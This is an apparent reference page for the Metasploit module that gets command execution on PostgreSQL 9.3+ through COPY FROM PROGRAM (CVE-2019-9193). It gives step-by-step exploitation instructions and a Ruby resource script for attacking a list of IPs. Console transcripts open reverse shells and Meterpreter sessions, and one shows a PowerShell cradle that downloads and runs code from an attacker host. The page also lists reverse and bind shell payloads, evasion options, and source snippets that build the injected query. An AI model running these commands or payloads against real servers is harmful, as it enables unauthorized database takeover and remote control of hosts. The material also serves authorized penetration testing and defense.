PostgreSQL COPY FROM PROGRAM Command Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/postgres/postgres_copy_from_program_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: PostgreSQL COPY FROM PROGRAM Command Execution
Module: exploit/multi/postgres/postgres_copy_from_program_cmd_exec
Source code: modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Disclosure date: 2019-03-20
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, OSX, Unix, Windows
Target service / protocol: postgres
Target network port(s): 5432
List of CVEs: CVE-2019-9193

Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with 'pg_execute_server_program' to pipe to and from an external program using COPY. This allows arbitrary command execution as though you have console access. This module attempts to create a new table, then execute system commands in the context of copying the command output into the table. This module should work on all Postgres systems running version 9.3 and above. For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl For Windows Systems, target 2 is used with powershell payloads such as: cmd/windows/powershell_reverse_tcp Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload or other customised command.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using postgres_copy_from_program_cmd_exec against a single host

Normally, you can use exploit/multi/postgres/postgres_copy_from_program_cmd_exec this way:

msf > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
msf exploit(postgres_copy_from_program_cmd_exec) > show targets
    ... a list of targets ...
msf exploit(postgres_copy_from_program_cmd_exec) > set TARGET target-id
msf exploit(postgres_copy_from_program_cmd_exec) > show options
    ... show and set options ...
msf exploit(postgres_copy_from_program_cmd_exec) > exploit

Using postgres_copy_from_program_cmd_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your postgres_copy_from_program_cmd_exec will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/postgres/postgres_copy_from_program_cmd_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module attempts to create a new table, then execute system commands in the context of copying the command output into the table.

This module should work on all Postgres systems running version 9.3 and above.

Download any version of PostgreSQL from 9.3 to 11.2 (Latest at time of writing) Set up the software and connect as the postgres superuser. Use the techniques described in this blogpost to verify command execution: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

Verification Steps


You must be able to connect to the PostgreSQL database, and have a valid set of superuser credentials, or a user in the 'pg_execute_server_program' group

Exploiting Linux/OSX:

1. Start msfconsole
2. use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
3. set RHOST target.ip.add.ress
4. set payload cmd/unix/reverse_perl
5. set PASSWORD postgres
6. set USERNAME postgres
7. set DATABASE postgres
8. set LHOST my.ip.add.ress
9. set LHOST myport
10. exploit

Exploiting Windows:

1. Start msfconsole
2. use exploit/multi/script/web_delivery
3. set target 2
4. set payload windows/meterpreter/reverse_tcp
5. set LHOST my.ip.add.ress
6. exploit -j
7. Copy powershell command, add \ to escape any single quotes
8. use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
9. set RHOST target.ip.add.ress
10. set COMMAND powershell... (Output from Step 7)
11. set PASSWORD postgres
12. set USERNAME postgres
13. set DATABASE postgres
14. exploit

Options


TABLENAME

The name of the table to create in the database, default is set to 'msftesttable', this table will be dropped create a new one each time the exploit is run.

DUMP_TABLE_OUTPUT

If enabled this option will perform a select statement on the created table before it is deleted. This can be used for debugging if there are problems with a command being executed.

DATABASE

Name of the database to connect to

USERNAME

A valid username that allows access to the database

PASSWORD

A valid password that allows access to the database

Scenarios


Exploiting PostgreSQL 11.2 on Linux Ubuntu 18.04

msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set DATABASE postgres
DATABASE => postgres
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set USERNAME postgres
USERNAME => postgres
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set PASSWORD postgres
PASSWORD => postgres
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 192.168.0.18
LHOST => 192.168.0.18
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.0.25
RHOSTS => 192.168.0.25
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options

Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMAND                     no        Send a custom command instead of a payload, use with powershell web delivery against windows
   DATABASE   postgres         yes       The database to authenticate against
   PASSWORD   postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS     192.168.0.25     yes       The target address range or CIDR identifier
   RPORT      5432             yes       The target port (TCP)
   TABLENAME  msftesttable     yes       A table name that doesnt exist(To avoid deletion)
   USERNAME   postgres         yes       The username to authenticate as


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.18     yes       The listen address (an interface may be specified)
   LPORT  4456             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

 msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit

[*] Started reverse TCP handler on 192.168.0.18:4456
[*] 192.168.0.25:5432 - 192.168.0.25:5432 - PostgreSQL 11.2 (Ubuntu 11.2-1.pgdg18.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0, 64-bit
[*] 192.168.0.25:5432 - Exploiting...
[+] 192.168.0.25:5432 - 192.168.0.25:5432 - msftesttable dropped successfully
[+] 192.168.0.25:5432 - 192.168.0.25:5432 - msftesttable created successfully
[+] 192.168.0.25:5432 - 192.168.0.25:5432 - msftesttable copied successfully(valid syntax/command)
[+] 192.168.0.25:5432 - 192.168.0.25:5432 - msftesttable dropped successfully(Cleaned)
[*] 192.168.0.25:5432 - Exploit Succeeded
[*] Command shell session 2 opened (192.168.0.18:4456 -> 192.168.0.25:51784) at 2019-03-24 18:07:11 +0000

whoami
postgres
uname -a
Linux ubuntu 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
/usr/lib/postgresql/11/bin/postgres -V
postgres (PostgreSQL) 11.2 (Ubuntu 11.2-1.pgdg18.04+1)

Exploiting PostgreSQL 10.7 on Windows 10

msf5 exploit(multi/script/web_delivery) > set target 2
target => 2
msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set LHOST 192.168.0.18
LHOST => 192.168.0.18
msf5 exploit(multi/script/web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.0.18     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   PSH


msf5 exploit(multi/script/web_delivery) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.0.18:4444
[*] Using URL: http://0.0.0.0:8080/pUDD5sy8vTTD
[*] Local IP: http://192.168.0.18:8080/pUDD5sy8vTTD
[*] Server started.
[*] Run the following command on the target machine:
msf5 exploit(multi/script/web_delivery) > powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring('http://192.168.0.18:8080/pUDD5sy8vTTD');

msf5 exploit(multi/script/web_delivery) > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set DATABASE postgres
DATABASE => postgres
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.0.24
RHOSTS => 192.168.0.24
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options

Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMAND                     no        Send a custom command instead of a payload, use with powershell web delivery against windows
   DATABASE   postgres         yes       The database to authenticate against
   PASSWORD   postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS     192.168.0.24     yes       The target address range or CIDR identifier
   RPORT      5432             yes       The target port (TCP)
   TABLENAME  msftesttable     yes       A table name that doesnt exist(To avoid deletion)
   USERNAME   postgres         yes       The username to authenticate as


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set COMMAND powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring(\'http://192.168.0.18:8080/pUDD5sy8vTTD\');
COMMAND => powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring('http://192.168.0.18:8080/pUDD5sy8vTTD')
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit

[*] Started reverse TCP double handler on 192.168.0.18:4456
[*] 192.168.0.24:5432 - 192.168.0.24:5432 - PostgreSQL 10.7, compiled by Visual C++ build 1800, 32-bit
[*] 192.168.0.24:5432 - Exploiting...
[+] 192.168.0.24:5432 - 192.168.0.24:5432 - msftesttable dropped successfully
[+] 192.168.0.24:5432 - 192.168.0.24:5432 - msftesttable created successfully
[*] 192.168.0.24     web_delivery - Delivering Payload
[!] 192.168.0.24:5432 - 192.168.0.24:5432 - Unable to execute query: COPY msftesttable FROM PROGRAM 'powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring(''http://192.168.0.18:8080/pUDD5sy8vTTD'');';
[*] 192.168.0.24:5432 - Exploit Failed
[*] Exploit completed, but no session was created.
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) >
[*] Sending stage (179779 bytes) to 192.168.0.24
[*] Meterpreter session 1 opened (192.168.0.18:4444 -> 192.168.0.24:50154) at 2019-03-24 17:40:59 +0000

msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show sessions

Active sessions
===============

  Id  Name  Type                     Information                                     Connection
  --  ----  ----                     -----------                                     ----------
  1         meterpreter x86/windows  NT AUTHORITY\NETWORK SERVICE @ DESKTOP-BHTT8OP  192.168.0.18:4444 -> 192.168.0.24:50154 (192.168.0.24)

msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE

Go back to menu.

Msfconsole Usage


Here is how the multi/postgres/postgres_copy_from_program_cmd_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec

[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show info

       Name: PostgreSQL COPY FROM PROGRAM Command Execution
     Module: exploit/multi/postgres/postgres_copy_from_program_cmd_exec
   Platform: Linux, Unix, Windows, OSX
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-03-20

Provided by:
  Jacob Wilkin

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Unix/OSX/Linux
  2   Windows - PowerShell (In-Memory)
  3   Windows (CMD)

Check supported:
  Yes

Basic options:
  Name               Current Setting  Required  Description
  ----               ---------------  --------  -----------
  DATABASE           template1        yes       The database to authenticate against
  DUMP_TABLE_OUTPUT  false            no        select payload command output from table (For Debugging)
  PASSWORD           postgres         no        The password for the specified username. Leave blank for a random password.
  RHOSTS                              yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT              5432             yes       The target port (TCP)
  TABLENAME          dMpbehEIBAlp     yes       A table name that does not exist (To avoid deletion)
  USERNAME           postgres         yes       The username to authenticate as

Payload information:

Description:
  Installations running Postgres 9.3 and above have functionality 
  which allows for the superuser and users with 
  'pg_execute_server_program' to pipe to and from an external program 
  using COPY. This allows arbitrary command execution as though you 
  have console access. This module attempts to create a new table, 
  then execute system commands in the context of copying the command 
  output into the table. This module should work on all Postgres 
  systems running version 9.3 and above. For Linux & OSX systems, 
  target 1 is used with cmd payloads such as: cmd/unix/reverse_perl 
  For Windows Systems, target 2 is used with powershell payloads such 
  as: cmd/windows/powershell_reverse_tcp Alternativly target 3 can be 
  used to execute generic commands, such as a web_delivery meterpreter 
  powershell payload or other customised command.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-9193
  https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
  https://www.postgresql.org/docs/9.3/release-9-3.html

Module Options


This is a complete list of options available in the multi/postgres/postgres_copy_from_program_cmd_exec exploit:

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options

Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   DATABASE           template1        yes       The database to authenticate against
   DUMP_TABLE_OUTPUT  false            no        select payload command output from table (For Debugging)
   PASSWORD           postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                              yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT              5432             yes       The target port (TCP)
   TABLENAME          dMpbehEIBAlp     yes       A table name that does not exist (To avoid deletion)
   USERNAME           postgres         yes       The username to authenticate as

Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/postgres/postgres_copy_from_program_cmd_exec exploit:

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show advanced

Module advanced options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_perl):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/postgres/postgres_copy_from_program_cmd_exec module can exploit:

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Unix/OSX/Linux
   2   Windows - PowerShell (In-Memory)
   3   Windows (CMD)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/postgres/postgres_copy_from_program_cmd_exec exploit:

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/postgres/postgres_copy_from_program_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Authentication failed


Here is a relevant code snippet related to the "<PEER> - Authentication failed" error message:

108:	
109:	  def login_success?
110:	    status = do_login(username, password, database)
111:	    case status
112:	    when :noauth
113:	      print_error "#{peer} - Authentication failed"
114:	      return false
115:	    when :noconn
116:	      print_error "#{peer} - Connection failed"
117:	      return false
118:	    else

<PEER> - Connection failed


Here is a relevant code snippet related to the "<PEER> - Connection failed" error message:

111:	    case status
112:	    when :noauth
113:	      print_error "#{peer} - Authentication failed"
114:	      return false
115:	    when :noconn
116:	      print_error "#{peer} - Connection failed"
117:	      return false
118:	    else
119:	      print_status "#{peer} - #{status}"
120:	      return true
121:	    end

<PEER> - Connection error


Here is a relevant code snippet related to the "<PEER> - Connection error" error message:

125:	    # Drop table if it exists
126:	    query = "DROP TABLE IF EXISTS #{tablename};"
127:	    drop_query = postgres_query(query)
128:	    case drop_query.keys[0]
129:	    when :conn_error
130:	      print_error "#{peer} - Connection error"
131:	      return false
132:	    when :sql_error
133:	      print_warning "#{peer} - Unable to execute query: #{query}"
134:	      return false
135:	    when :complete

<PEER> - Unable to execute query: <QUERY>


Here is a relevant code snippet related to the "<PEER> - Unable to execute query: <QUERY>" error message:

128:	    case drop_query.keys[0]
129:	    when :conn_error
130:	      print_error "#{peer} - Connection error"
131:	      return false
132:	    when :sql_error
133:	      print_warning "#{peer} - Unable to execute query: #{query}"
134:	      return false
135:	    when :complete
136:	      print_good "#{peer} - #{tablename} dropped successfully"
137:	    else
138:	      print_error "#{peer} - Unknown"

<PEER> - Unknown


Here is a relevant code snippet related to the "<PEER> - Unknown" error message:

133:	      print_warning "#{peer} - Unable to execute query: #{query}"
134:	      return false
135:	    when :complete
136:	      print_good "#{peer} - #{tablename} dropped successfully"
137:	    else
138:	      print_error "#{peer} - Unknown"
139:	      return false
140:	    end
141:	
142:	    # Create Table
143:	    query = "CREATE TABLE #{tablename}(filename text);"

<PEER> - Connection error


Here is a relevant code snippet related to the "<PEER> - Connection error" error message:

142:	    # Create Table
143:	    query = "CREATE TABLE #{tablename}(filename text);"
144:	    create_query = postgres_query(query)
145:	    case create_query.keys[0]
146:	    when :conn_error
147:	      print_error "#{peer} - Connection error"
148:	      return false
149:	    when :sql_error
150:	      print_warning "#{peer} - Unable to execute query: #{query}"
151:	      return false
152:	    when :complete

<PEER> - Unable to execute query: <QUERY>


Here is a relevant code snippet related to the "<PEER> - Unable to execute query: <QUERY>" error message:

145:	    case create_query.keys[0]
146:	    when :conn_error
147:	      print_error "#{peer} - Connection error"
148:	      return false
149:	    when :sql_error
150:	      print_warning "#{peer} - Unable to execute query: #{query}"
151:	      return false
152:	    when :complete
153:	      print_good "#{peer} - #{tablename} created successfully"
154:	    else
155:	      print_error "#{peer} - Unknown"

<PEER> - Unknown


Here is a relevant code snippet related to the "<PEER> - Unknown" error message:

150:	      print_warning "#{peer} - Unable to execute query: #{query}"
151:	      return false
152:	    when :complete
153:	      print_good "#{peer} - #{tablename} created successfully"
154:	    else
155:	      print_error "#{peer} - Unknown"
156:	      return false
157:	    end
158:	
159:	    # Copy Command into Table
160:	    cmd_filtered = payload.encoded.gsub("'", "''")

<PEER> - Connection error


Here is a relevant code snippet related to the "<PEER> - Connection error" error message:

160:	    cmd_filtered = payload.encoded.gsub("'", "''")
161:	    query = "COPY #{tablename} FROM PROGRAM '#{cmd_filtered}';"
162:	    copy_query = postgres_query(query)
163:	    case copy_query.keys[0]
164:	    when :conn_error
165:	      print_error "#{peer} - Connection error"
166:	      return false
167:	    when :sql_error
168:	      print_warning "#{peer} - Unable to execute query: #{query}"
169:	      if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
170:	        print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'

<PEER> - Unable to execute query: <QUERY>


Here is a relevant code snippet related to the "<PEER> - Unable to execute query: <QUERY>" error message:

163:	    case copy_query.keys[0]
164:	    when :conn_error
165:	      print_error "#{peer} - Connection error"
166:	      return false
167:	    when :sql_error
168:	      print_warning "#{peer} - Unable to execute query: #{query}"
